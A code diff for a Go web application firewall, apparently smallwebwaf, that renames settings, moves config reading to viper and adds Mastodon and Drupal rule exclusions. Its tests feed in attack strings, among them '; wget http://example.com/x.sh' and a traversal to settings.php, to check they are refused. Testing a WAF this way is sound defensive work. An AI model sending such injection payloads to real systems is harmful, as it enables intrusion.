// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
|
// RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and
|
||||||
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
|
// SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other
|
||||||
// setting, so it reads no other.
|
// setting, so it reads no other.
|
||||||
func RProxyListenAddrAndUpstreamURL(
|
func RProxyListenAddrAndUpstreamURL(
|
||||||
lookupEnv func(string) (string, bool),
|
v *viper.Viper,
|
||||||
) (string, *url.URL, error) {
|
) (string, *url.URL, error) {
|
||||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
env := &environment{v: v}
|
||||||
listenAddr := env.address("SWRP_LISTEN_ADDR")
|
listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR")
|
||||||
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
|
upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL)
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
return "", nil, env.err
|
return "", nil, env.err
|
||||||
@@ -104,20 +107,6 @@ func RProxyListenAddrAndUpstreamURL(
|
|||||||
return listenAddr, upstreamURL, nil
|
return listenAddr, upstreamURL, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
|
|
||||||
// rproxy never touches disk.
|
|
||||||
func withoutFileForms(
|
|
||||||
lookupEnv func(string) (string, bool),
|
|
||||||
) func(string) (string, bool) {
|
|
||||||
return func(name string) (string, bool) {
|
|
||||||
if strings.HasSuffix(name, "_FILE") {
|
|
||||||
return "", false
|
|
||||||
}
|
|
||||||
|
|
||||||
return lookupEnv(name)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// LogValue makes an RProxy log as each setting's name with the value it was
|
// LogValue makes an RProxy log as each setting's name with the value it was
|
||||||
// given, or its default.
|
// given, or its default.
|
||||||
func (c *RProxy) LogValue() slog.Value {
|
func (c *RProxy) LogValue() slog.Value {
|
||||||
|
|||||||
@@ -10,20 +10,21 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||||
)
|
)
|
||||||
|
|
||||||
// rproxy's settings, by name, and their values in these tests.
|
// rproxy's settings, by name, and their values in these tests.
|
||||||
const (
|
const (
|
||||||
wafBackend = "SWRP_WAF_BACKEND"
|
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||||
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
||||||
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
|
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
||||||
rproxyListen = "SWRP_LISTEN_ADDR"
|
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||||
rproxyUpstream = "SWRP_UPSTREAM_URL"
|
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||||
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
|
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||||
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
|
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||||
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||||
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||||
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||||
backendURL = "http://discriminator:8080"
|
backendURL = "http://discriminator:8080"
|
||||||
rproxyDefaultAddr = ":8080"
|
rproxyDefaultAddr = ":8080"
|
||||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||||
@@ -32,11 +33,7 @@ const (
|
|||||||
|
|
||||||
// rproxyConfig reads rproxy's settings from env.
|
// rproxyConfig reads rproxy's settings from env.
|
||||||
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
||||||
return config.RProxyFromEnvironment(func(name string) (string, bool) {
|
return config.RProxyFromEnvironment(configtest.Viper(env))
|
||||||
value, ok := env[name]
|
|
||||||
|
|
||||||
return value, ok
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyDefaults(t *testing.T) {
|
func TestRProxyDefaults(t *testing.T) {
|
||||||
@@ -177,31 +174,41 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyReadsNoFile(t *testing.T) {
|
func TestRProxySettingReadFromFile(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
path := filepath.Join(t.TempDir(), "backend")
|
path := filepath.Join(t.TempDir(), "backend")
|
||||||
|
|
||||||
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
|
err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write: %v", err)
|
t.Fatalf("write: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
|
||||||
t.Errorf("error %v, want %s still required", err, wafBackend)
|
|
||||||
}
|
|
||||||
|
|
||||||
cfg, err := rproxyConfig(map[string]string{
|
|
||||||
wafBackend: backendURL,
|
|
||||||
rproxyTimeout + "_FILE": "/nonexistent/timeout",
|
|
||||||
})
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v, with the file left unread", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 2*time.Second {
|
if cfg.WAFBackend.String() != backendURL {
|
||||||
t.Errorf("timeout %v, want the default", cfg.Timeout)
|
t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
dir := t.TempDir()
|
||||||
|
|
||||||
|
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||||
|
_, err := rproxyConfig(map[string]string{
|
||||||
|
wafBackend: backendURL,
|
||||||
|
rproxyTimeout + "_FILE": path,
|
||||||
|
})
|
||||||
|
|
||||||
|
want := rproxyTimeout + "_FILE: cannot be read: "
|
||||||
|
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||||
|
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import "github.com/spf13/viper"
|
||||||
|
|
||||||
|
// NewViper returns the viper that reads the settings: each setting's
|
||||||
|
// environment variable, bound to its own name. Every setting of discriminator
|
||||||
|
// and rproxy is read through it, and none is read with os.Getenv or
|
||||||
|
// os.LookupEnv outside it. An environment variable that is set but empty is
|
||||||
|
// set, as one that holds a value is, which viper does not take for granted.
|
||||||
|
func NewViper() *viper.Viper {
|
||||||
|
v := viper.New()
|
||||||
|
v.AutomaticEnv()
|
||||||
|
v.AllowEmptyEnv(true)
|
||||||
|
|
||||||
|
return v
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package config_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// These tests set real environment variables, so none runs in parallel.
|
||||||
|
|
||||||
|
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
||||||
|
t.Setenv(adminToken, "")
|
||||||
|
|
||||||
|
_, err := config.FromEnvironment(config.NewViper())
|
||||||
|
|
||||||
|
want := adminToken + ": is shorter than 32 characters"
|
||||||
|
if err == nil || err.Error() != want {
|
||||||
|
t.Fatalf("error %v, want %s", err, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
|
||||||
|
t.Setenv(wafBackend, backendURL)
|
||||||
|
t.Setenv(rproxyTrusted, "")
|
||||||
|
|
||||||
|
cfg, err := config.RProxyFromEnvironment(config.NewViper())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("settings: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(cfg.TrustedProxies) != 0 {
|
||||||
|
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the eleven changes sww
|
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the twelve changes sww
|
||||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
// makes to it and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// response.
|
// response.
|
||||||
//
|
//
|
||||||
@@ -32,17 +32,18 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
|
||||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
// drupalExclusions for the fifth, and mediawikiExclusions for the sixth.
|
// drupalExclusions for the fifth, mediawikiExclusions for the sixth, and
|
||||||
|
// mastodonExclusions for the seventh.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
// setting switches one off. Coraza joins a line ending in \ to the next,
|
// setting switches one off. Coraza joins a line ending in \ to the next,
|
||||||
// without the spaces at the start of the next.
|
// without the spaces at the start of the next.
|
||||||
const directives = `
|
const directives = `
|
||||||
# The engine only detects. sww compares the request's anomaly
|
# The engine only detects. sww compares the request's anomaly
|
||||||
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
|
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||||
SecRuleEngine DetectionOnly
|
SecRuleEngine DetectionOnly
|
||||||
SecRequestBodyAccess Off
|
SecRequestBodyAccess Off
|
||||||
@@ -91,7 +92,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# So does the tenth.
|
# So does the tenth.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# And the eleventh.
|
# So does the eleventh.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# And the twelfth.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The sixth: only the rules for requests are loaded, and no response is
|
# The sixth: only the rules for requests are loaded, and no response is
|
||||||
@@ -206,6 +210,13 @@ var drupalExclusions string
|
|||||||
//go:embed mediawiki.conf
|
//go:embed mediawiki.conf
|
||||||
var mediawikiExclusions string
|
var mediawikiExclusions string
|
||||||
|
|
||||||
|
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
|
||||||
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed mastodon.conf
|
||||||
|
var mastodonExclusions string
|
||||||
|
|
||||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||||
// without, the rest of the fifth change.
|
// without, the rest of the fifth change.
|
||||||
//
|
//
|
||||||
@@ -214,16 +225,16 @@ var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
|
// ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4.
|
||||||
ParanoiaLevel int
|
ParanoiaLevel int
|
||||||
// DisabledRules are the ids of the rules switched off
|
// DisabledRules are the ids of the rules switched off
|
||||||
// (SWW_WAF_DISABLED_RULES).
|
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
||||||
DisabledRules []int
|
DisabledRules []int
|
||||||
// BodyLimit is the most of a request body the Core Rule Set reads
|
// BodyLimit is the most of a request body the Core Rule Set reads
|
||||||
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
||||||
BodyLimit int64
|
BodyLimit int64
|
||||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
}
|
}
|
||||||
@@ -249,7 +260,7 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
|||||||
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
||||||
// the directive finds none of them.
|
// the directive finds none of them.
|
||||||
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
||||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
"switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " +
|
||||||
"with a ctl exclusion")
|
"with a ctl exclusion")
|
||||||
|
|
||||||
// directivesIn returns the directives in text as Coraza reads them: it
|
// directivesIn returns the directives in text as Coraza reads them: it
|
||||||
@@ -319,7 +330,7 @@ type CoreRuleSet struct {
|
|||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the eleven changes, at params'
|
// New returns the Core Rule Set with the twelve changes, at params'
|
||||||
// paranoia level, without the rules it switches off, reading request
|
// paranoia level, without the rules it switches off, reading request
|
||||||
// bodies up to params' limit, and with params' exclusions file loaded
|
// bodies up to params' limit, and with params' exclusions file loaded
|
||||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||||
@@ -348,7 +359,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||||
mediawikiExclusions)
|
mediawikiExclusions, mastodonExclusions)
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -436,7 +447,7 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// readBody reads body, the body of the request in tx, which has run on
|
// readBody reads body, the body of the request in tx, which has run on
|
||||||
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
|
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
|
||||||
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
||||||
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
||||||
// when they are no longer than that, since they cannot be read in part.
|
// when they are no longer than that, since they cannot be read in part.
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
|
// defaultDisabledRules are the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off
|
||||||
// by default.
|
// by default.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -202,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantChange checks that crs lets through passes, a request one of the
|
// wantChange checks that crs lets through passes, a request one of the
|
||||||
// eleven changes is for, and still finds result in refused, a request like
|
// twelve changes is for, and still finds result in refused, a request like
|
||||||
// it that the change is not for.
|
// it that the change is not for.
|
||||||
func wantChange(
|
func wantChange(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||||
@@ -624,7 +624,7 @@ var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
|||||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
@@ -651,7 +651,7 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
|
|||||||
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -674,6 +674,33 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// gitea has no owner named api, so these are not a repository's search,
|
||||||
|
// issues or pull requests. /api/v2/search is Mastodon's search.
|
||||||
|
for _, path := range []string{
|
||||||
|
"/api/v2/search",
|
||||||
|
"/api/v2/issues",
|
||||||
|
"/api/v2/pulls",
|
||||||
|
} {
|
||||||
|
for _, attack := range []string{
|
||||||
|
sqlInjection,
|
||||||
|
scriptInjection,
|
||||||
|
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
|
||||||
|
} {
|
||||||
|
target := path + "?q=" + attack
|
||||||
|
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
||||||
|
t.Errorf("%s let through: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Nor is a page opened from them.
|
||||||
|
for _, attack := range []string{scriptTag, injection} {
|
||||||
|
referer := "Referer: https://example.com" + path + "?q=" + attack
|
||||||
|
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
||||||
|
t.Errorf("%s let through: %+v", referer, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
||||||
@@ -727,7 +754,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||||
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
|
||||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -794,7 +821,7 @@ func wordpressAttackTargets(attack string) []string {
|
|||||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
@@ -1343,7 +1370,7 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|||||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||||
}
|
}
|
||||||
|
|
||||||
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
|
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
|
||||||
const bodyLimit = 8 << 10
|
const bodyLimit = 8 << 10
|
||||||
|
|
||||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||||
|
|||||||
@@ -4,10 +4,10 @@
|
|||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter
|
# exclusion on a field of a body applies only when the query has no parameter
|
||||||
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The
|
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
|
||||||
# exclusions above the comment "The fields below are in bodies" also cover a
|
# set. The exclusions above the comment "The fields below are in bodies" also
|
||||||
# body field of the same name whatever the query holds, and only those below it
|
# cover a body field of the same name whatever the query holds, and only those
|
||||||
# need a query without that name.
|
# below it need a query without that name.
|
||||||
#
|
#
|
||||||
# Each path may start with a language prefix, such as /fr in
|
# Each path may start with a language prefix, such as /fr in
|
||||||
# /fr/admin/content. The prefix is two or three letters, then optionally a
|
# /fr/admin/content. The prefix is two or three letters, then optionally a
|
||||||
@@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||||
|
|
||||||
|
# The same reset may name the account by its address in the JSON field mail:
|
||||||
|
# POST /user/password?_format=json with a mail of python3@example.com. An
|
||||||
|
# address skips only the two rules the recorded addresses set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||||
|
"id:900818,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
@@ -7,7 +7,7 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
const drupalThreshold = 5
|
const drupalThreshold = 5
|
||||||
|
|
||||||
// drupalAddArticle is Drupal's form for a new article.
|
// drupalAddArticle is Drupal's form for a new article.
|
||||||
@@ -182,13 +182,33 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
scriptTag,
|
scriptTag,
|
||||||
`; wget http://example.com/x.sh`,
|
`; wget http://example.com/x.sh`,
|
||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
|
} {
|
||||||
|
for _, field := range []string{"name", "mail"} {
|
||||||
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score < drupalThreshold {
|
||||||
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses ls -la, and 930120, which
|
||||||
|
// refuses system file names.
|
||||||
|
for _, kept := range []struct {
|
||||||
|
value string
|
||||||
|
rule int
|
||||||
|
}{
|
||||||
|
{"ls -la", 932250},
|
||||||
|
{".htaccess@example.com", 930120},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
body := `{"name":"` + attack + `"}`
|
body := `{"mail":"` + kept.value + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||||
|
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
|
body := `{"mail":"` + address + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score >= drupalThreshold {
|
||||||
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||||
@@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// So does the JSON field mail.
|
||||||
|
for _, target := range []string{
|
||||||
|
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||||
|
"/user/register?_format=json",
|
||||||
|
} {
|
